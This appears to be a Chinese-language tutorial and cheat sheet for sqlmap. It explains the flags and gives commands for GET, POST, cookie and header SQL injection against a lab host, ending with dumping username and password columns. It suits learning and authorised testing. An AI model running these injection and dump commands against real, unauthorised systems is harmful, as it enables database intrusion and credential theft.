SQLmap常用命令/使用教程

简介: Lmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

检测位置

-u      -- 指定url(GET请求)
-p      -- 指定参数(url包含多个参数时,指定参数)
--data=   -- 指定POST请求参数
--cookie  -- 指定cookie参数
-r      -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

1. --dbs    -- 获取数据库名
2. --tables -- 获取表名
3. --columns  -- 获取字段名
4. --dump   -- 获取数据
5. -D -- 指定数据库
6. -T -- 指定表
7. -C -- 指定字段

其他设置

--batch   -- 自动化确认
--tamper  -- 指定脚本
--dbms    -- 指定数据库类型
--os    -- 指定操作系统(windows/linux)
--level   -- 指定探测等级(1~5)
--current-db  -- 获取当前数据库的名字
-b  -- 获取数据库版本信息
-f  -- 获取数据库指纹
--users -- 当前使用的用户
--delay -- 设置延时
--technique -- 指定注入方式
  U 联合注入
  E 报错注入
  B 布尔盲注
  T 时间盲注

针对不同的注入位置

GET请求注入

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3

sqlmap -r target.vm --level 3 --dbs

获取数据

获取所有数据库

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs

获取指定数据库中的所有表

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables

获取指定数据库中指定表的所有字段

sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns

获取指定数据库中指定表中指定字段的所有数据

sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump

HTTP Header头注入

1.拦截post请求信息,并将请求信息的全部内容复制到文件中,

2.在需要检测的Header位置添加*

3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测

image.png

相关文章
|
JavaScript
Vue 父传子组件传参 defineProps
Vue 父传子组件传参 defineProps
199 0
|
存储 Java 编译器
Go函数解密:底层工作原理
Go函数解密:底层工作原理
288 0
|
关系型数据库 MySQL 索引
【Database】排错:Mysql5.6报错Specified key was too long; max key length is 767 bytes
在某个实验系统部署的过程中,出现mysql报错,是特定版本的处理错误,在查阅官网文档时得到解决方案
1742 0
【Database】排错:Mysql5.6报错Specified key was too long; max key length is 767 bytes
|
4月前
|
物联网 虚拟化 Windows
Windows 10 version 22H2 中文版、英文版下载 (2025 年 7 月更新)
Windows 10 version 22H2 中文版、英文版下载 (2025 年 7 月更新)
850 0
|
人工智能 自然语言处理 Java
使用通义灵码插件提高开发效率
【2月更文挑战第2天】 通义灵码是阿里云开发的一个编码助手,基于AI大模型,提供代码智能生成,智能问答等功能,旨在加快编码,提高开发效率。
2133 3
使用通义灵码插件提高开发效率
springboot字段注入@value细节
springboot字段注入@value细节
211 1
|
资源调度 前端开发 JavaScript
从0开始搭建一个Vue3.x企业级项目骨架
本篇文章将从0开始搭建一个企业可用的项目骨架,这里我使用的包管理工具时Yarn,别问为什么,问就是喜欢用这个;如果你是npm的话,直接将yarn add全部替换为npm i即可(废话文学)。
744 0
|
小程序
【干货】微信小程序如何设置背景图片
【干货】微信小程序如何设置背景图片
|
安全 Linux API
一篇文章讲明白Metasploit详解详细图文教程
一篇文章讲明白Metasploit详解详细图文教程
1127 0
Seata undo_log无数据处理
Seata undo_log无数据处理